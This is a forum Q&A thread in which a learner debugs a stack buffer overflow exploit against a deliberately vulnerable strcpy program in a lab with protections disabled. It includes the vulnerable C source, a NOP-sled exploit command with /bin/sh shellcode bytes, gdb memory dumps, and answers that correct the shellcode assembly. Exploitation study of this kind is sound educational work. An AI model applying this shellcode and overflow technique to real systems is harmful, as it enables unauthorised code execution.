3

I have a basic example of a program vulnerable to buffer overflow (extracted from this other question).

#include <string.h> void vuln(char *arg) { char buffer[500]; strcpy(buffer, arg); } int main( int argc, char** argv ) { vuln(argv[1]); return 0; } 

I will explain my "flow of thought":

My first approach, given that I know the buffer length, was to fill it entirely with "NOPs" (477 bytes) + shellcode (23 bytes) + NOPs + Return address, being the return address the beginning of my buffer.

gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'") 

Here's the current memory:

0xffffcef8: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90 0xffffcf00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffcf08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffcf10: 0x90 0x90 0x90 0x90 0x00 0x90 0x90 0x90 0xffffcf18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 ... 0xffffd0d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd0d8: 0x00 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0xffffd0e0: 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0xffffd0e8: 0x50 0x53 0x89 0xe1 0xb0 0x0b 0xcd 0x80 0xffffd0f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd0f8: 0x90 0x90 0x90 0x90 0xfc 0xce 0xff 0xff 

1) Last 4 bytes are the address that will be written to EIP, no problem with this.

2) In order to make my shellcode works properly, it should start in the beginning of a WORD. In 0xffffd0d8 there's an unremovable 0x00 which does not get overwritten by the buffer overflow. It occurs several times in the buffer, and for what I've read is due to a loop behaviour in the strcpy.

3) In this situation, I guess I need to find another space to write my shellcode, with no "0x00" smashing it.

It seems that there's room for the shellcode just at the beggining of the buffer (0xffffcefc), so I change the buffer

gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'") 

and I ensure that the shellcode is correctly written into memory:

gdb-peda$ x/10i 0xffffcefc => 0xffffcefc: add al,al 0xffffcefe: push eax 0xffffceff: push 0x68732f2f 0xffffcf04: push 0x6e69622f 0xffffcf09: mov ebx,esp 0xffffcf0b: push eax 0xffffcf0c: push ebx 0xffffcf0d: mov ecx,esp 0xffffcf0f: mov al,0xb 0xffffcf11: int 0x80 gdb-peda$ 

But when I run the code, even if the shellcode commands are executed, it crashes in the following "0x00" byte at 0xffffcf14, and no shell is spawned.

gdb-peda$ continue Continuing. Program received signal SIGSEGV, Segmentation fault. Stopped reason: SIGSEGV 0xffffcf14 in ?? () gdb-peda$ x/10i 0xffffcf11 0xffffcf11: int 0x80 0xffffcf13: nop => 0xffffcf14: add BYTE PTR [eax-0x6f6f6f70],dl 0xffffcf1a: nop 0xffffcf1b: nop 0xffffcf1c: nop 0xffffcf1d: nop 0xffffcf1e: nop 0xffffcf1f: nop 0xffffcf20: nop gdb-peda$ x/10xb 0xffffcf14 0xffffcf14: 0x00 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffcf1c: 0x90 0x90 gdb-peda$ 

The code has been compiled by using:

gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

and, of course, ASLR is disabled.

Additional info:

# uname -a Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux 

I'm a newbie in exploitation, but I thought this to be a simple exercise and it's giving me some headaches... Can anyone help me to figure out the right way to exploit this buffer overflow?

    2 Answers 2

    1

    I see two problems, besides the null byte problem which I'm unable to reproduce (on an Ubuntu 18.04 virtual machine).

    1. The add al,al instruction at the start should be xor eax,eax. The weird thing is that the bytes \x31\xc0 which are at the start of your shellcode actually is the xor eax,eax instruction. If the \x31 is getting replaced with \x00 somehow, like you mentioned is happening elsewhere, that would turn it into an add instruction.

    2. You're not setting the third argument for the execve system call. This can be done by setting the edx register to esp right after pushing 0x00000000 onto the stack.

      xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx,esp push eax mov edx,esp ;set the envp argument push ebx mov ecx,esp mov al,0xb int 0x80 

    As for the null byte problem, that is very strange because it sounds like there are null bytes in the actual buffer after it is written to by strcpy, which should not be happening. I would set a breakpoint immediately after the call to strcpy in assembly and inspect the buffer memory. Maybe you've already done this but use the debugger and make sure that the null bytes aren't creeping in somehow after the copying takes place.

      0

      I have a problem with your shellcode:

      • EAX and ECX are registers that may contain cruft (volatile-registers) depending on adherence to calling convention (platform specific application binary interface), might as well get in the habit of XOR'ing them
      • what's in EBX when your shellcode runs? It may contain stuff as its a non-volatile register. XOR it too
      • You put 0xB into EAX but you never push it onto the stack before calling Int 0x80 to (execve()), so you never make a valid syscall as you lack all the arguments!

      ONCE YOU FIX THE ABOVE

      If you fix those issues and still experience this, then from your description it crashes on a null byte (which is what strcpy(3) is expecting), so it sounds like a case of a bad character!

      I would try testing for bad characters. Peter Van Eeckhoutte has a great writeup that already covers this, but if you're like me and lazy, replace the null byte (0x00) with the break on debugger byte (0xCC).

      Once it breaks, if all of the previous instructions were executed as expected for your shellcode, you could add another nop (0x90) or replace the null byte with a RETN

      If that causes an issue, since the interrupt (Int 0x80) is a single byte, you can also replace it and the null byte at the end with 0xEBFE for a JMP -2 endless loop to break on.

      2
      • XOR'ing ebx or ecx won't matter in this case, since they aren't used before being set with mov.CommentedJun 5, 2018 at 4:50
      • The arguments for the system call to execve (int 0x80 with eax set to 0x0b) aren't put on the stack, they are put in the registers eax-edx. So no need to push 0x0b onto the stack. But, eax should be zero'd out with xor first like you said. The data that is pushed onto the stack is just what the pointer arguments are pointing to.CommentedJun 5, 2018 at 4:54

      You must log in to answer this question.

      Start asking to get answers

      Find the answer to your question by asking.

      Ask question

      Explore related questions

      See similar questions with these tags.